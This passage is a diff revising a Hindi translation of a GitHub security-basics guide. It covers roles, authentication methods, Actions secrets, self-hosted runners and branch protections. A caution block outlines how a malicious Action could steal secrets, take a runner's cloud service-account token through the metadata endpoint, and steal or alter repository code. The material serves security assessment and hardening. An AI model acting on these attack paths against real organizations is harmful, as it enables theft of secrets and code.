भूमिकाएँ** हो सकती हैं। इसके अलावा, एक उपयोगकर्ता **विभिन्न टीमों** का **भाग** हो सकता है जिनकी विभिन्न उद्यम, संगठन या रिपॉजिटरी भूमिकाएँ हैं। @@ -26,8 +26,8 @@ - **Organization owners**: संगठन के मालिकों के पास **आपके संगठन तक पूर्ण प्रशासनिक पहुँच** होती है। इस भूमिका को सीमित किया जाना चाहिए, लेकिन आपके संगठन में दो से कम लोगों के लिए नहीं। - **Organization members**: **डिफ़ॉल्ट**, गैर-प्रशासनिक भूमिका **संगठन में लोगों** के लिए संगठन सदस्य है। डिफ़ॉल्ट रूप से, संगठन के सदस्यों के पास **कई अनुमतियाँ** होती हैं। - **Billing managers**: बिलिंग प्रबंधक वे उपयोगकर्ता होते हैं जो **आपके संगठन के लिए बिलिंग सेटिंग्स का प्रबंधन** कर सकते हैं, जैसे भुगतान जानकारी। -- **Security Managers**: यह एक भूमिका है जिसे संगठन के मालिक किसी भी टीम को सौंप सकते हैं। जब लागू किया जाता है, तो यह टीम के प्रत्येक सदस्य को **संगठन में सुरक्षा अलर्ट और सेटिंग्स का प्रबंधन करने, साथ ही सभी रिपॉजिटरी के लिए पढ़ने की अनुमतियाँ** देता है। -- यदि आपके संगठन में एक सुरक्षा टीम है, तो आप सुरक्षा प्रबंधक भूमिका का उपयोग करके टीम के सदस्यों को संगठन तक पहुँच देने के लिए न्यूनतम पहुँच दे सकते हैं। +- **Security Managers**: यह एक भूमिका है जिसे संगठन के मालिक किसी भी टीम को सौंप सकते हैं। जब लागू किया जाता है, तो यह टीम के प्रत्येक सदस्य को **आपके संगठन में सुरक्षा अलर्ट और सेटिंग्स का प्रबंधन करने, साथ ही संगठन में सभी रिपॉजिटरी के लिए पढ़ने की अनुमतियाँ** देता है। +- यदि आपके संगठन में एक सुरक्षा टीम है, तो आप सुरक्षा प्रबंधक भूमिका का उपयोग टीम के सदस्यों को संगठन तक पहुँच देने के लिए कर सकते हैं। - **Github App managers**: अतिरिक्त उपयोगकर्ताओं को **संगठन द्वारा स्वामित्व वाले GitHub Apps का प्रबंधन** करने की अनुमति देने के लिए, एक मालिक उन्हें GitHub App प्रबंधक अनुमतियाँ दे सकता है। - **Outside collaborators**: एक बाहरी सहयोगी वह व्यक्ति है जिसके पास **एक या अधिक संगठन रिपॉजिटरी तक पहुँच है लेकिन वह स्पष्ट रूप से संगठन का सदस्य नहीं है**। @@ -35,7 +35,7 @@ ### Members Privileges -_https://github.com/organizations/\/settings/member_privileges_ में आप देख सकते हैं कि **संगठन का हिस्सा होने के नाते उपयोगकर्ताओं के पास क्या अनुमतियाँ होंगी**। +_https://github.com/organizations/\/settings/member_privileges_ में आप देख सकते हैं कि **संगठन का हिस्सा होने के नाते उपयोगकर्ताओं के पास कौन सी अनुमतियाँ होंगी**। यहाँ कॉन्फ़िगर की गई सेटिंग्स संगठन के सदस्यों की निम्नलिखित अनुमतियों को इंगित करेंगी: @@ -44,26 +44,26 @@ _https://github.com/organizations/\/settings/member_privileges_ मे - यदि रिपॉजिटरी का फोर्क करना संभव है। - यदि बाहरी सहयोगियों को आमंत्रित करना संभव है। - यदि सार्वजनिक या निजी साइटों को प्रकाशित किया जा सकता है। -- रिपॉजिटरी पर व्यवस्थापकों के पास क्या अनुमतियाँ हैं। -- यदि सदस्य नई टीमें बना सकते हैं। +- रिपॉजिटरी पर व्यवस्थापकों के पास जो अनुमतियाँ हैं। +- यदि सदस्यों को नई टीमें बनाने की अनुमति है। ### Repository Roles डिफ़ॉल्ट रूप से रिपॉजिटरी भूमिकाएँ बनाई जाती हैं: - **Read**: **गैर-कोड योगदानकर्ताओं** के लिए अनुशंसित जो आपके प्रोजेक्ट को देखना या चर्चा करना चाहते हैं। -- **Triage**: **योगदानकर्ताओं के लिए अनुशंसित जिन्हें मुद्दों और पुल अनुरोधों का सक्रिय रूप से प्रबंधन करने की आवश्यकता होती है** बिना लिखने की पहुँच के। +- **Triage**: **योगदानकर्ताओं के लिए अनुशंसित जिन्हें मुद्दों और पुल अनुरोधों का सक्रिय रूप से प्रबंधन करने** की आवश्यकता होती है बिना लिखने की पहुँच के। - **Write**: योगदानकर्ताओं के लिए अनुशंसित जो **सक्रिय रूप से आपके प्रोजेक्ट में योगदान करते हैं**। -- **Maintain**: **प्रोजेक्ट प्रबंधकों के लिए अनुशंसित जिन्हें रिपॉजिटरी का प्रबंधन करने की आवश्यकता होती है** बिना संवेदनशील या विनाशकारी कार्यों की पहुँच के। +- **Maintain**: **प्रोजेक्ट प्रबंधकों के लिए अनुशंसित जिन्हें रिपॉजिटरी का प्रबंधन करने** की आवश्यकता होती है बिना संवेदनशील या विनाशकारी कार्यों की पहुँच के। - **Admin**: उन लोगों के लिए अनुशंसित जिन्हें **प्रोजेक्ट तक पूर्ण पहुँच** की आवश्यकता होती है, जिसमें सुरक्षा प्रबंधन या रिपॉजिटरी को हटाने जैसे संवेदनशील और विनाशकारी कार्य शामिल हैं। आप इस तालिका में प्रत्येक भूमिका के अनुमतियों की **तुलना** कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -आप _https://github.com/organizations/\/settings/roles_ में **अपनी भूमिकाएँ भी बना सकते हैं**। +आप _https://github.com/organizations/\/settings/roles_ में अपनी स्वयं की भूमिकाएँ भी **बना सकते हैं**। ### Teams -आप _https://github.com/orgs/\/teams_ में **एक संगठन में बनाई गई टीमों की सूची** देख सकते हैं। ध्यान दें कि अन्य टीमों के बच्चों को देखने के लिए आपको प्रत्येक माता टीम तक पहुँचने की आवश्यकता है। +आप _https://github.com/organizations/\/teams_ में **एक संगठन में बनाई गई टीमों की सूची** देख सकते हैं। ध्यान दें कि अन्य टीमों के बच्चों को देखने के लिए आपको प्रत्येक माता-पिता टीम तक पहुँचने की आवश्यकता है। ### Users @@ -73,83 +73,83 @@ _https://github.com/organizations/\/settings/member_privileges_ मे ## Github Authentication -Github आपके खाते में प्रमाणित होने और आपकी ओर से क्रियाएँ करने के लिए विभिन्न तरीके प्रदान करता है। +Github आपके खाते में प्रमाणित होने और आपके पक्ष में कार्य करने के लिए विभिन्न तरीके प्रदान करता है। ### Web Access -**github.com** पर पहुँचते समय आप अपने **उपयोगकर्ता नाम और पासवर्ड** (और संभवतः एक **2FA**) का उपयोग करके लॉगिन कर सकते हैं। +**github.com** पर पहुँचते समय आप अपने **उपयोगकर्ता नाम और पासवर्ड** (और संभावित रूप से **2FA**) का उपयोग करके लॉगिन कर सकते हैं। ### **SSH Keys** -आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जिससे संबंधित **निजी कुंजी आपकी ओर से क्रियाएँ करने की अनुमति देती है।** [https://github.com/settings/keys](https://github.com/settings/keys) +आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जिससे संबंधित **निजी कुंजी आपके पक्ष में कार्य करने की अनुमति देती है।** [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG Keys** -आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएँ**। [यहाँ सतर्क मोड के बारे में अधिक जानें](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)। +आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएं**। [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) के बारे में अधिक जानें। ### **Personal Access Tokens** -आप **एक एप्लिकेशन को अपने खाते तक पहुँच देने के लिए व्यक्तिगत पहुँच टोकन उत्पन्न कर सकते हैं**। व्यक्तिगत पहुँच टोकन बनाते समय, **उपयोगकर्ता** को **अनुमतियाँ** निर्दिष्ट करने की आवश्यकता होती है जो **टोकन** के पास होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens) +आप व्यक्तिगत पहुँच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुँच** मिल सके। व्यक्तिगत पहुँच टोकन बनाते समय, **उपयोगकर्ता** को **अनुमतियाँ** निर्दिष्ट करने की आवश्यकता होती है जो **टोकन** के पास होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Oauth एप्लिकेशन आपसे अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी के एक भाग तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ क्रियाएँ करने के लिए। इस कार्यक्षमता का एक सामान्य उदाहरण **गिटहब के साथ लॉगिन बटन** है जो आप कुछ प्लेटफार्मों पर पा सकते हैं। +Oauth एप्लिकेशन आपसे अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी के एक भाग तक पहुँचने या आपको प्रतिनिधित्व करने** के लिए कुछ कार्य करने के लिए। इस कार्यक्षमता का एक सामान्य उदाहरण **गिटहब के साथ लॉगिन बटन** है जो आप कुछ प्लेटफार्मों पर पा सकते हैं। -- आप [https://github.com/settings/developers](https://github.com/settings/developers) में अपनी **Oauth एप्लिकेशन** बना सकते हैं। -- आप [https://github.com/settings/applications](https://github.com/settings/applications) में अपने खाते तक पहुँच रखने वाली सभी **Oauth एप्लिकेशन** देख सकते हैं। -- आप [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) में **Oauth Apps के लिए पूछी जाने वाली स्कोप** देख सकते हैं। -- आप _https://github.com/organizations/\/settings/oauth_application_policy_ में एक **संगठन** में एप्लिकेशनों की तीसरे पक्ष की पहुँच देख सकते हैं। +- आप [https://github.com/settings/developers](https://github.com/settings/developers) में अपने स्वयं के **Oauth एप्लिकेशन** **बना सकते हैं**। +- आप [https://github.com/settings/applications](https://github.com/settings/applications) में अपने खाते तक पहुँच रखने वाले सभी **Oauth एप्लिकेशन** देख सकते हैं। +- आप [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) में **Oauth Apps के लिए पूछे जाने वाले स्कोप** देख सकते हैं। +- आप _https://github.com/organizations/\/settings/oauth_application_policy_ में एक **संगठन** में एप्लिकेशनों की तीसरी पार्टी पहुँच देख सकते हैं। कुछ **सुरक्षा सिफारिशें**: - एक **OAuth App** को हमेशा **GitHub पर सभी GitHub उपयोगकर्ता के रूप में कार्य करना चाहिए** (उदाहरण के लिए, जब उपयोगकर्ता सूचनाएँ प्रदान करते हैं) और केवल निर्दिष्ट स्कोप तक पहुँच के साथ। -- एक OAuth App को एक पहचान प्रदाता के रूप में उपयोग किया जा सकता है, जो प्रमाणित उपयोगकर्ता के लिए "GitHub के साथ लॉगिन" सक्षम करता है। +- एक OAuth App को एक पहचान प्रदाता के रूप में उपयोग किया जा सकता है जो प्रमाणित उपयोगकर्ता के लिए "GitHub के साथ लॉगिन" सक्षम करता है। - **नहीं** बनाएं एक **OAuth App** यदि आप चाहते हैं कि आपका एप्लिकेशन **एकल रिपॉजिटरी** पर कार्य करे। `repo` OAuth स्कोप के साथ, OAuth Apps **प्रमाणित उपयोगकर्ता के सभी रिपॉजिटरी पर कार्य कर सकते हैं**। - **नहीं** बनाएं एक OAuth App यदि आप अपने **टीम या कंपनी** के लिए एक एप्लिकेशन के रूप में कार्य करना चाहते हैं। OAuth Apps एक **एकल उपयोगकर्ता** के रूप में प्रमाणित होते हैं, इसलिए यदि एक व्यक्ति कंपनी के उपयोग के लिए एक OAuth App बनाता है, और फिर वह कंपनी छोड़ देता है, तो कोई और इसके लिए पहुँच नहीं रखेगा। -- **अधिक** यहाँ [यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)। +- **अधिक** यहाँ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) में। ### Github Applications -Github एप्लिकेशन अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ विशिष्ट क्रियाएँ करने के लिए। Github Apps में आपको उन रिपॉजिटरी को निर्दिष्ट करना होगा जिन तक एप्लिकेशन की पहुँच होगी। +Github एप्लिकेशन अनुमतियाँ मांग सकते हैं ताकि **आपकी गिटहब जानकारी तक पहुँचने या आपको प्रतिनिधित्व करने** के लिए विशिष्ट कार्यों को विशिष्ट संसाधनों पर किया जा सके। Github Apps में आपको उन रिपॉजिटरी को निर्दिष्ट करना होगा जिन तक एप्लिकेशन की पहुँच होगी। -- एक GitHub App स्थापित करने के लिए, आपको **संगठन का मालिक या रिपॉजिटरी में व्यवस्थापक अनुमतियाँ** होनी चाहिए। -- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए। -- आप [https://github.com/settings/apps](https://github.com/settings/apps) में अपनी खुद की Github एप्लिकेशन बना सकते हैं। -- आप [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) में अपने खाते तक पहुँच रखने वाली सभी **Github एप्लिकेशन** देख सकते हैं। -- ये हैं **Github एप्लिकेशन के लिए API Endpoints** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)। एप्लिकेशन की अनुमतियों के आधार पर, यह उनमें से कुछ तक पहुँच प्राप्त कर सकेगा। +- GitHub App स्थापित करने के लिए, आपको **संगठन का मालिक या रिपॉजिटरी में व्यवस्थापक अनुमतियाँ** होनी चाहिए। +- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से **जोड़ना चाहिए**। +- आप [https://github.com/settings/apps](https://github.com/settings/apps) में अपना स्वयं का Github एप्लिकेशन बना सकते हैं। +- आप [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) में अपने खाते तक पहुँच रखने वाले सभी **Github एप्लिकेशन** देख सकते हैं। +- ये हैं **Github एप्लिकेशनों के लिए API Endpoints** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)। एप्लिकेशन की अनुमतियों के आधार पर, यह उनमें से कुछ तक पहुँच प्राप्त कर सकेगा। - आप _https://github.com/organizations/\/settings/installations_ में एक **संगठन** में स्थापित एप्लिकेशन देख सकते हैं। कुछ सुरक्षा सिफारिशें: -- एक GitHub App को **एक उपयोगकर्ता से स्वतंत्र रूप से कार्य करना चाहिए** (जब तक एप्लिकेशन [उपयोगकर्ता-से-सरवर](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) टोकन का उपयोग नहीं कर रहा है)। उपयोगकर्ता-से-सरवर पहुँच टोकनों को अधिक सुरक्षित रखने के लिए, आप ऐसे पहुँच टोकन का उपयोग कर सकते हैं जो 8 घंटे बाद समाप्त हो जाएंगे, और एक रिफ्रेश टोकन जो नए पहुँच टोकन के लिए बदला जा सकता है। अधिक जानकारी के लिए, "[उपयोगकर्ता-से-सरवर पहुँच टोकनों को रिफ्रेश करना](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" देखें। +- एक GitHub App को **उपयोगकर्ता से स्वतंत्र कार्य करना चाहिए** (जब तक एप्लिकेशन [उपयोगकर्ता-से-सर्वर](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) टोकन का उपयोग नहीं कर रहा है)। उपयोगकर्ता-से-सर्वर पहुँच टोकनों को अधिक सुरक्षित रखने के लिए, आप ऐसे पहुँच टोकन का उपयोग कर सकते हैं जो 8 घंटे बाद समाप्त हो जाएंगे, और एक रिफ्रेश टोकन जो नए पहुँच टोकन के लिए बदला जा सकता है। अधिक जानकारी के लिए, "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" देखें। - सुनिश्चित करें कि GitHub App **विशिष्ट रिपॉजिटरी** के साथ एकीकृत है। -- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए। +- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से **जोड़ना चाहिए**। - GitHub App से यह उम्मीद न करें कि वह सब कुछ जानता है और वह सब कुछ कर सकता है जो एक उपयोगकर्ता कर सकता है। - **यदि आपको केवल "GitHub के साथ लॉगिन" सेवा की आवश्यकता है तो GitHub App का उपयोग न करें**। लेकिन एक GitHub App एक [उपयोगकर्ता पहचान प्रवाह](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) का उपयोग करके उपयोगकर्ताओं को लॉगिन कर सकता है _और_ अन्य चीजें कर सकता है। -- यदि आप अपने एप्लिकेशन का उपयोग GitHub Actions के साथ कर रहे हैं और वर्कफ़्लो फ़ाइलों को संशोधित करना चाहते हैं, तो आपको उपयोगकर्ता की ओर से OAuth टोकन के साथ प्रमाणित होना चाहिए जिसमें `workflow` स्कोप शामिल है। उपयोगकर्ता को उस रिपॉजिटरी पर व्यवस्थापक या लिखने की अनुमति होनी चाहिए जिसमें वर्कफ़्लो फ़ाइल है। अधिक जानकारी के लिए, "[OAuth एप्लिकेशन के लिए स्कोप को समझना](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" देखें। -- **अधिक** यहाँ [यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)। +- यदि आप अपने एप्लिकेशन का उपयोग GitHub Actions के साथ कर रहे हैं और कार्यप्रवाह फ़ाइलों को संशोधित करना चाहते हैं, तो आपको उपयोगकर्ता की ओर से OAuth टोकन के साथ प्रमाणित होना चाहिए जिसमें `workflow` स्कोप शामिल है। उपयोगकर्ता को उस रिपॉजिटरी पर व्यवस्थापक या लिखने की अनुमति होनी चाहिए जिसमें कार्यप्रवाह फ़ाइल है। अधिक जानकारी के लिए, "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" देखें। +- **अधिक** यहाँ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) में। ### Github Actions -यह **गिटहब में प्रमाणित होने का एक तरीका नहीं है**, लेकिन एक **दुर्भावनापूर्ण** Github Action को **गिटहब तक अनधिकृत पहुँच प्राप्त हो सकती है** और **अनुमतियों** के आधार पर जो Action को दी गई हैं, कई **विभिन्न हमले** किए जा सकते हैं। अधिक जानकारी के लिए नीचे देखें। +यह **गिटहब में प्रमाणित होने का एक तरीका नहीं है**, लेकिन एक **दुर्भावनापूर्ण** GitHub Action **गिटहब तक अनधिकृत पहुँच प्राप्त कर सकता है** और **अनुमतियों** के आधार पर जो Action को दी गई हैं, कई **विभिन्न हमले** किए जा सकते हैं। अधिक जानकारी के लिए नीचे देखें। ## Git Actions -Git actions **जब कोई घटना होती है तब कोड के निष्पादन को स्वचालित** करने की अनुमति देते हैं। आमतौर पर निष्पादित कोड **रिपॉजिटरी के कोड से किसी न किसी तरह संबंधित होता है** (शायद एक डॉकर कंटेनर बनाना या यह जांचना कि PR में कोई रहस्य नहीं है)। +Git actions को **जब कोई घटना होती है तब कोड के निष्पादन को स्वचालित** करने की अनुमति देता है। आमतौर पर निष्पादित कोड **रिपॉजिटरी के कोड से किसी न किसी तरह संबंधित होता है** (शायद एक डॉकर कंटेनर बनाना या यह जांचना कि PR में कोई रहस्य नहीं है)। ### Configuration -_https://github.com/organizations/\/settings/actions_ में आप संगठन के लिए **गिटहब क्रियाओं की कॉन्फ़िगरेशन** की जाँच कर सकते हैं। +_https://github.com/organizations/\/settings/actions_ में आप संगठन के लिए **गिटहब क्रियाओं की कॉन्फ़िगरेशन** की जांच कर सकते हैं। गिटहब क्रियाओं के उपयोग को पूरी तरह से अस्वीकार करना, **सभी गिटहब क्रियाओं की अनुमति देना**, या केवल कुछ क्रियाओं की अनुमति देना संभव है। -यह भी संभव है कि **किसे Github Action चलाने के लिए अनुमोदन की आवश्यकता है** और जब Github Action चलाया जाता है तो **GITHUB_TOKEN की अनुमतियाँ** को कॉन्फ़िगर किया जा सके। +यह भी संभव है कि **किसे GitHub Action चलाने के लिए अनुमोदन की आवश्यकता है** और जब GitHub Action चलाया जाता है तो **GITHUB_TOKEN** की अनुमतियाँ कॉन्फ़िगर की जा सकें। ### Git Secrets Github Action आमतौर पर गिटहब या तीसरे पक्ष के एप्लिकेशनों के साथ बातचीत करने के लिए कुछ प्रकार के रहस्यों की आवश्यकता होती है। **उन्हें स्पष्ट पाठ में रखने से बचने के लिए**, गिटहब उन्हें **Secrets** के रूप में रखने की अनुमति देता है। -ये रहस्य **रिपॉजिटरी या सभी संगठन के लिए** कॉन्फ़िगर किए जा सकते हैं। फिर, **Action को रहस्य तक पहुँच प्राप्त करने के लिए** आपको इसे इस तरह घोषित करना होगा: +ये रहस्य **रिपॉजिटरी या सभी संगठन** के लिए कॉन्फ़िगर किए जा सकते हैं। फिर, **Action को रहस्य तक पहुँच प्राप्त करने के लिए** आपको इसे इस तरह घोषित करना होगा: ```yaml steps: - name: Hello world action @@ -169,73 +169,73 @@ example-command "$SUPER_SECRET" > [!WARNING] > Secrets **केवल उन Github Actions से एक्सेस किए जा सकते हैं** जिनमें उन्हें घोषित किया गया है। -> एक बार जब उन्हें रेपो या संगठनों में कॉन्फ़िगर किया जाता है, तो **github के उपयोगकर्ता उन्हें फिर से एक्सेस नहीं कर पाएंगे**, वे केवल **उन्हें बदलने** में सक्षम होंगे। +> एक बार जब उन्हें रिपॉजिटरी या संगठनों में कॉन्फ़िगर किया जाता है, तो **github के उपयोगकर्ता उन्हें फिर से एक्सेस नहीं कर पाएंगे**, वे केवल **उन्हें बदलने** में सक्षम होंगे। -इसलिए, **github secrets चुराने का एकमात्र तरीका है कि आप उस मशीन तक पहुँच प्राप्त करें जो Github Action को निष्पादित कर रही है** (उस परिदृश्य में आप केवल Action के लिए घोषित किए गए secrets तक पहुँच प्राप्त कर पाएंगे)। +इसलिए, **github secrets चुराने का एकमात्र तरीका है उस मशीन तक पहुंच प्राप्त करना जो Github Action को निष्पादित कर रही है** (उस परिदृश्य में आप केवल Action के लिए घोषित किए गए secrets तक पहुंच प्राप्त कर पाएंगे)। ### Git Environments -Github **पर्यावरण** बनाने की अनुमति देता है जहाँ आप **secrets** को सहेज सकते हैं। फिर, आप github action को पर्यावरण के अंदर secrets तक पहुँच देने के लिए कुछ इस तरह कर सकते हैं: +Github **पर्यावरण** बनाने की अनुमति देता है जहाँ आप **secrets** सहेज सकते हैं। फिर, आप कुछ इस तरह से वातावरण के अंदर secrets तक github action को एक्सेस देने के लिए कह सकते हैं: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +आप एक वातावरण को **सभी शाखाओं** (डिफ़ॉल्ट), **केवल संरक्षित** शाखाओं या **निर्धारित** करने के लिए कॉन्फ़िगर कर सकते हैं कि कौन सी शाखाएँ इसे एक्सेस कर सकती हैं।\ +यह एक **क्रिया** को **निष्पादित** करने से पहले **आवश्यक समीक्षाओं की संख्या** भी सेट कर सकता है या **तैनाती** को आगे बढ़ाने से पहले कुछ **समय** तक **रुक** सकता है। ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +एक Github Action को **github वातावरण के अंदर निष्पादित** किया जा सकता है या इसे उपयोगकर्ता द्वारा कॉन्फ़िगर की गई **तीसरी पार्टी अवसंरचना** में निष्पादित किया जा सकता है। -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +कई संगठन Github Actions को **तीसरी पार्टी अवसंरचना** में चलाने की अनुमति देंगे क्योंकि यह आमतौर पर **सस्ता** होता है। -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +आप _https://github.com/organizations/\/settings/actions/runners_ में एक संगठन के **स्व-होस्टेड रनर्स** की सूची देख सकते हैं। -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में `runs-on: self-hosted` के लिए खोजें। -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +यह **संभव नहीं है कि एक संगठन का Github Action एक अलग संगठन के स्व-होस्टेड बॉक्स के अंदर चलाया जाए** क्योंकि **रनर के लिए एक अद्वितीय टोकन उत्पन्न होता है** जब इसे कॉन्फ़िगर किया जाता है ताकि यह पता चल सके कि रनर किसका है। -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +यदि कस्टम **Github Runner को AWS या GCP के अंदर एक मशीन में कॉन्फ़िगर किया गया है** उदाहरण के लिए, तो Action **मेटाडेटा एंडपॉइंट तक पहुँच** प्राप्त कर सकता है और **सेवा खाते के टोकन को चुरा सकता है** जिसके साथ मशीन चल रही है। ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +यदि सभी क्रियाएँ (या एक दुर्भावनापूर्ण क्रिया) की अनुमति है, तो एक उपयोगकर्ता एक **Github action** का उपयोग कर सकता है जो **दुर्भावनापूर्ण** है और **कंटेनर** को **समझौता** करेगा जहाँ इसे निष्पादित किया जा रहा है। > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> एक **दुर्भावनापूर्ण Github Action** चलाया जा सकता है जिसे हमलावर द्वारा **दुरुपयोग** किया जा सकता है: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **सभी रहस्यों को चुराना** जिन तक Action की पहुँच है +> - यदि Action को **तीसरी पार्टी अवसंरचना** के अंदर निष्पादित किया जाता है तो **पार्श्व में स्थानांतरित करना** जहाँ SA टोकन का उपयोग मशीन को चलाने के लिए किया जा सकता है (संभवतः मेटाडेटा सेवा के माध्यम से) +> - **टोकन का दुरुपयोग** करना जिसका उपयोग **कार्यप्रवाह** द्वारा **कोड को चुराने** के लिए किया जाता है जहाँ Action निष्पादित होता है या **यहाँ तक कि इसे संशोधित करना**। ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +शाखा सुरक्षा को **एक भंडार का पूर्ण नियंत्रण** उपयोगकर्ताओं को न देने के लिए डिज़ाइन किया गया है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने से पहले कई सुरक्षा विधियाँ लगाई जाएँ**। -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +**एक भंडार की शाखा सुरक्षा** को _https://github.com/\/\/settings/branches_ में पाया जा सकता है। > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> यह **संभव नहीं है कि संगठन स्तर पर शाखा सुरक्षा सेट की जाए**। इसलिए सभी को प्रत्येक भंडार पर घोषित किया जाना चाहिए। -Different protections can be applied to a branch (like to master): +एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- आप **मर्ज करने से पहले एक PR की आवश्यकता** कर सकते हैं (इसलिए आप सीधे शाखा पर कोड मर्ज नहीं कर सकते)। यदि यह चयनित है तो विभिन्न अन्य सुरक्षा लागू की जा सकती हैं: +- **अनुमोदनों की संख्या की आवश्यकता**। यह बहुत सामान्य है कि 1 या 2 और लोगों को आपके PR को अनुमोदित करने की आवश्यकता होती है ताकि एकल उपयोगकर्ता सीधे कोड मर्ज करने में सक्षम न हो। +- **नए कमिट्स धकेलने पर अनुमोदनों को अस्वीकार करें**। यदि नहीं, तो एक उपयोगकर्ता वैध कोड को अनुमोदित कर सकता है और फिर उपयोगकर्ता दुर्भावनापूर्ण कोड जोड़ सकता है और इसे मर्ज कर सकता है। +- **कोड मालिकों से 